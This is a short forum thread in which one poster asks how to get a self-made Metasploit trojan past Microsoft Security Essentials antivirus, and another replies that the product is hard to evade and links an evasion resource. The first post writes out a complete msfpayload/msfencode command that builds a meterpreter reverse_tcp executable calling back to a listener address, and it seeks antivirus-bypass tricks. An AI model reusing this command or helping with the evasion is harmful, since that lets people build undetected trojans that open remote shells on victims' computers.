Hello again. Ive been making some trojans with msfpayload and have been messing with msfencode. The trojan has worked great dropping the meterpreter shell, however, for the life of me I cannot get it past microsoft security essential antivirus. No matter what I do, it flags it. My code is this:
msfpayload windows/meterpreter/reverse_tcp lhost=192.168.146.139 lport=4442 R | msfencode -e x86/shikata_ga_nai -t raw -c 10 | msfencode -e x86/call4_dword_xor -t raw -c 10 | msfencode -e x86/countdown -t exe > chucknorris.exe and I usually run an apache server and connect to it from the xp machine and download the trojan, or I do shared folders in VM. Any tricks yall know to bypass security essentials? I would think two counts of 10 a piece and shikata_ga_nai would do the trick, but alas it does not.

I've noticed that MSE is pretty darn good at catching these customized trojans.  I had it catch the PDF exploit for cool type almost instantly.  I've had it also pick up traffic from an exploited website before other AV products did (SEP, ESET, AVG).  I have no idea why people would be upset with a company who designed an OS to use their own built in AV.  One would think who would know their system better than the creator of that system.

You may have to get creative with bypassing MSE.

Another resource http://schierlm.users.sourceforge.net/avevasion.html